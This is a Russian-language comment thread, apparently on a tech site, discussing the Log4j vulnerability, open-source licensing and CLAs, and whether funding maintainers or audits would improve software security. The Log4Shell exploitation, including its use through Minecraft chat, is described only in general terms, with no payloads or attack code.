Почему нельзя? Двойное лицензирование GPL + коммерческая лицензия. Если это библиотека - по крайней мере, другой GPL-софт сможет её использовать.
Потомучто тогда не будет достигнута основная цель - заставить всех пользователей проекта выполнять кастомные хотелки автора проекта.
С другой стороны, сменить лицензию для популярного (а значит, имеющего кучу контрибьюторов) открытого ПО может быть довольно проблематичным действием, если изначальная лицензия не разрешает этого.
Насколько я понимаю, если вы единственный контрибьютор, то вы можете изменить лицензию в любой момент. Те кто уже скачал вашу либу продолжат пользовать скачанной версией с той лицензией что была в момент скачивания, а вот новые версии и новые пользователи будут под новой лицензией. А вот если есть другие контрибьюторы, то проблема.
Потомучто тогда не будет достигнута основная цель - заставить всех пользователей проекта выполнять кастомные хотелки автора проекта.
Мне кажется, эта цель в принципе недостижима для любого изначально опенсорсного ПО. Изменение лицензии приведёт тупо к отвалу части пользователей (точнее, кто-то зафиксируется на предыдущей версии).
если вы единственный контрибьютор
Почти любое популярное опенсорсное ПО (как отдельные программы, так и библиотеки) имеет больше одного контрибьютора: с наступлением популярности обязательно найдутся люди, которым чего-то недостаточно и будут pool request-ы. Исключение составляет, наверное, какое-то специфическое ПО для сферы, где почти не бывает способных писать/менять код, либо какие-то тривиальные вещи (привет js-экосистеме). И эти pool request-ы либо будут приниматься, либо в итоге будут появляться форки (а у форка по определению будет более одного контрибьютора).
Мне кажется, эта цель в принципе недостижима для любого изначально опенсорсного ПО.
Это да, опен сорс проектам в реальности приходится искать другие способы монетизации.
Почти любое популярное опенсорсное ПО (как отдельные программы, так и библиотеки) имеет больше одного контрибьютора: с наступлением популярности обязательно найдутся люди, которым чего-то недостаточно и будут pool request-ы.
Ну, если единственный контрибьютор - это не физическое лицо, а компания, то вполне себе бывает. Более того, бывает что основной меинтейнер требует от других контрибьюторов отказ от прав если те хотят контрибьютить.
Исключение составляет, наверное, какое-то специфическое ПО для сферы, где почти не бывает способных писать/менять код, либо какие-то тривиальные вещи (привет js-экосистеме). И эти pool request-ы либо будут приниматься, либо в итоге будут появляться форки (а у форка по определению будет более одного контрибьютора).
К сожалению все не всегда так радужно. Знаю несколько проектов в области 3д печати, в которых 99% всех коммитов от одного человека. И, к сожалению, желающих делать и поддерживать форки не наблюдается. И если такой маинтейнер отваливается, то проект просто умирает. Это когда основные пользователи проекта это программисты, то есть шансы, что найдется кто-то кто перехватит проект. А когда основные пользователи - это не программисты, то все становится намного грустнее.
Более того, бывает что основной меинтейнер требует от других контрибьюторов отказ от прав если те хотят контрибьютить.
Сейчас CLA требует подписать практически любая компания, выкладывающая исходники в опенсорс, так что это скорее правило
и очень правильное, но обидное правило.
кто минусует - может аргументировать? В действительности же CLA в каком-то смысле является стоп-фактором для контрибуций в опенсурс проекты.
С другой стороны, разработчики опенсурс проекта персонально меня или вас о помощи не просили... поэтому я их чувства и ожидания тоже понимаю. Представляю себе, что было бы - если б мне кто-то принес патч, а потом качал бы права и требовал указать его соавтора (даже если его патч я не принял). Жесть же.
pool request-ы.
только pull request... sorry.
а корпорации слишком доверяют своим сотрудникам
чушь это, безопасники в корпорациях никому не доверяют, но тратить бабки никто не хочет.
Да, нашлась проблема с очень обширным эффектом. Я еще могу посмеятся, когда джава во всем виновата (сам дотнет чед). Но когда уже опенсорс виноват, не смешно.
Безопасность просто стоит очень очень дорого, и на нее все забивают так или иначе.
Чем безопаснее, тем дороже и дольше разработка - рынок не одобряет безопасность.
Рынок хочет быстро, дешево и удобно.
А то что все тормозит и содержит 100500 дыр не так важно для пользователя, главное чтоб как то работало, и недорого.
Поэтому все нормально.
Если корпорация решает что в какой то области надо повысить безопасность, потому что это релаьно важно для бизнесе - то и аудит используемых компонентов будут делать серьезнее.
А так то в вебе сплошной аджайл, все бегом бегом, главное фичи и быстрая доставка.
Не ракеты делаем.
Проблема не с финансированием опен-сорса. Если бы разработчики Log4J были на зарплате, ничего бы не поменялось, точно также была бы уязвимость и привела к таким же последствиям, если бы ее нашли раньше.
Проблема в архитектуре ПО (blast radius). Единственный способ избежать проблемы -- использовать только разделяемые компоненты, которые никогда, ни за что не "лезут в систему", не имеют дело с файловой системой и т. д., а оперируют на уровне чистой логики (то есть, чистые функции). Но это абсолютная утопия, 90% ценного разделямого кода не может не лезть в систему (вспомним про библиотеки работы с БД, серверные фреймворки, библиотеки работы с сервисами/АПИ).
Если хотите, мы имеем проблему с "глобализацией ПО" через опен-сорс -- хотим разделение труда и сокращение усилий, платим вот такими уязвимостями с огромными последствиями. Так же и в мире: хотим эффективность -- платим пандемиями и другими "случайными" глобальными эффектами (кто-то думал, что произошло бы, если бы Ever Given не удалось бы снять с мели?). Никак этот "побочный эффект" глобализации не лечится, это данность. Об этом хорошо пишет Н. Талеб в "Антихрупкости".
В Java проблема дополнительно усугубляется тем, что любая библиотека может тянуть за собой что угодно, нельзя работать с монадами/аспектами/трейтами сквозь стек, как это можно, например, в Haskell, Scala. И нет нормального скоупинга доступа, как монада IO в Haskell. Впрочем, большинство других популярных серверных языков: C#, Go, PHP, JS, и т. д. тут ничем не лучше Java (все помнят event-stream?).
Единственный способ избежать проблемы -- использовать только разделяемые компоненты, которые […] оперируют на уровне чистой логики (то есть, чистые функции).
Теоретически можно придумать проблему безопасности и в чистых функциях, в которых есть «только логика». Например, функция при определённом стечении обстоятельств может съедать всю память или быстродействие, давая возможность denial-of-service атак. А ещё функция может майнить крипту в пользу атакующего — это же чистая логика (связь с внешним миром не обязательна — результаты майнинга могут быть возвращены, как возвращаемое значение функции).
Ваша статья имела бы некоторый смысл, если бы не волны взлома Exchange-серверов каждый месяц. А в ночь с 31 на 1 и вовсе почти все exchange выключились.
И сколько сейчас существует уязвимых проприетарных систем, которые "уже не поддерживаются, плотите деньги и обновляйтесь" - лучше не задумываться. А уязвимости там такие же.
Когда обнаружили heardbleed, то появлялись такие-же статьи (про то, что OSS делается усилиями энтузиастов, а пользуются им все, включая корпорации, зарабатывающие на этом большие деньги), только про ключевое ПО, используемое в архитектуре значительной части сайтов.
Как будто у софта с закрытыми исходниками уязвимостей подобного класса нет. Или у коммерческой разработки.
Вообще пример с ldap:// в статье - сильно неудачный. Никаких file'ов в LDAP нет, да и даже если речь идёт о запросе каких-то атрибутов, содержащих блобы - выхлоп не будет бинарным же, это будет LDIF
dn: uid=foo,out=bar,dc=example,dc=com
jpeg: [base64 encoded string]
Ну т.е. можно было придумать более адекватный пример.
Ну или безусловно интерпретация логируемого библиотекой логирования - тот ещё бич. Если log4j действительно так делает, то это... очень плохо.
Очередная статья, которая делит на софт на безопасный и небезопасный по принципу его открытости.
что данный баг вскрыл фундаментальную проблему с безопасностью Java и качеством кода опенсорсных проектов в принципе
При чем тут Java и при чем тут Open Source ??? Типа на другом языке или в коммерческом продукте такую дыру принципиально не смогли сделать? Я имею в виду не механизм JNDI, а саму задумку, реализации возможно разные.
Последствия этих массовых взломов нам ещё предстоит оценить
Вот огромное количесво шумихи, куча мемов, логи видел на приложения с "проверкой" на уязвимость и еще нигде не увидел ни одной публикации про постадавших. Кто-то может знает?
Корпорации постарались раздуть это себе на пользу - постоянные нападки на опен сорс с совершенно нелепыми аргументами. Мне посчасливилось пережит 2 аудита безопасности приложений у компаний - лажа жуткая. Я не говорю, что все такие, но открытый код дает гораздо больше гарантий, мое мнение. Над чем действительно стоит поразмыслить - КАК такую дыру сделали в продукте и КАК ее не увидели с 2013 г....
Вот огромное количесво шумихи, куча мемов, логи видел на приложения с "проверкой" на уязвимость и еще нигде не увидел ни одной публикации про постадавших. Кто-то может знает?
мы как минимум пострадали следующим образом:
пришлось в срочном порядке проводить инвентаризацию всех своих ресурсов, чтобы понять что уязвимо
параллельно - остановить всю разработку, чтобы она патчила log4j на новую версию
там где невозможно запатчить - придумать и реализовать меры по противодействию (самое простое и тупое - на WAF включить нужные сигнатуры, например).
Говорят, постарадала игра minecraft. Там в чат что-то вредоносное закинули.
Не игра, а игроки и сервера)
Через чат можно было выполнять произвольный код на клиентах и на сервере через внутриигровой чат. При появлении в логах сообщения выполнялся код. На клиентах игроков в основном пугали запуском блокнота или калькулятора, но сколько троянов было подсажено, сколько данных украдено, не подсчитать, наверное.
Кстати, ладно логирование на сервере, но что логировалось на клиентах, и с какой целью?
Клиент, который логирует сам себя? В MMORPG это довольно распространенная практика. Как пример, крашнулся клиент, где вы там на сервере будете логи искать среди тысяч клиентов и насколько они подробные будут?
Логируется очевидно в лог который можно потом в случае краша или еще чего нибудь посмотреть. Так делают почти все игры и почти любой серьезный софт.
Принято считать, что открытый код по умолчанию более качественный,
надёжный и безопасный, чем проприетарный. Это кажется логичным, ведь его
могут проверить специалисты со всего мира. Каждый может посмотреть и
убедиться в его безопасности....
По итогам этой истории некоторые сделали вывод, что налицо фундаментальная проблема опенсорса, которая сводится к тому, что мейнтейнерам не платят денег.
Непонятно, откуда вывод, что деньги решат проблему. В не open source известно меньше критических дыр? И если меньше, не только лишь потому что некому посмотреть? Странная логика.
Принято считать, что открытый код по умолчанию более качественный, надёжный и безопасный, чем проприетарный.
Кем принято?
Кстати: если вы заинтересованы в поиске интересных задач по направлению ИБ, мы всегда рад видеть вас в наших рядах. Актуальные вакансии по ссылке.
Я подумаю над вашим предложением
Сразу вспомнилось "Пламя над бездной" Вернора Винджа, с его хтоническим чудищем, похороненным в глубинах забытого репозитория :)
Нужны официальные международные программы по аудиту безопасности ПО и по поддержке открытых проектов.
Возможно, как одна из программ ООН ( или что-то аналогичное по смыслу).
Вопрос уже нужно поднимать на уровень глав государств, пусть начинают обсуждать создание таких программ, и их финансирование.
Аналогично программам по борьбе с эпидемиями, изменением климата, бедностью и тому подобное.
И что это изменит? А я вам скажу, что: если ты сделал собственное поделие, выложил в открытый доступ по лицензии GPL и там написано, что оно поставляется «как есть» и никакой ответственности ты за него не несешь, то это одно. А если ты получаешь бабло от корпораций, то эти же корпорации с тебя же в случае чего и спросят! На все, что называется деньги. Просмотреть косяк может кто угодно, оплата/квалификация имеет лишь косвенную корреляцию с безопасностью кода…
Проблема же в чем? Опенсорс безопасен, потому, что его МОЖЕТ проверить на уязвимость кто угодно… Ключевое слово МОЖЕТ. Может проверить, а может и не проверить. Нужно платить не мейнтейнерам — они работают на энтузиазме, а эта мотивация посильнее денежной. ) Нужно платить аудиту. Нужна какая-то контора, финансируемая из серьезных источников (кровавый энтерпрайз!), которая ставила бы лейбл «проверено» на публичных репозиториях. А еще лучше — продавала бы платную подписку к своей npm…
Вопрос — каков уровень ответственности должен быть у такой компании, и кто готов на такое подписться! Представляете суммы издержек по той же Log4j? Впрочем, тут все от EULA зависит… Можно же написать там что «мы дорожим репутацией и обязуемся тщательно проводить аудит пакетов, а так же мониторить сообщения публичных источников, но тем не менее не являемся разработчиками пакетов и не можем гарантировать 100% безопасность...»
может быть квалифицирован как ведущий инженер-программист (сеньор)
Я всегда считал, что сеньор это старший, тогда как ведущий - лид
Здесь не было, нет и не может быть серебряной пули.
Странно, что кто-то призывает кому-то платить.
Разработчик сознательно бесплатно выкладывает свой код в общий доступ. Любой желающий поднимает этот инструмент с земли и использует в своем проекте потому, что все ж так делают и это быстро и бесплатно.
А потом предъявляют друг другу претензии.
Первый - в том, что он бесплатно выложил, но вообще он ИМЕЛ В ВИДУ, что неплохо было бы и донатов подкинуть, его просто не так поняли.
Второй - в том, что беря на барахолке бесплатные вещи он НАДЕЯЛСЯ, что эти вещи будут новые, в заводской упаковке, с сертификатом качества и гарантией.
Ну тупо же.
Обычная бизнес-ситуация: работа на свой страх и риск. Хочешь денег за работу - говтри об этом прямо и продавай как положено: авторские права оформляй, стоимость указывай и так далее. Хочешь хороший и безопасный инструмент - покупай хороший и безопасный инструмент. Не хочешь покупать - создавай сам.
Вот и все.
А ситуация с этой злосчастной библиотекой - обычная, просто мир глобализирован настолько, что бизнес риски тоже стали глобальными. Это плохо, но это - естественно и ожидаемо.
Бомба Log4j и кризис опенсорса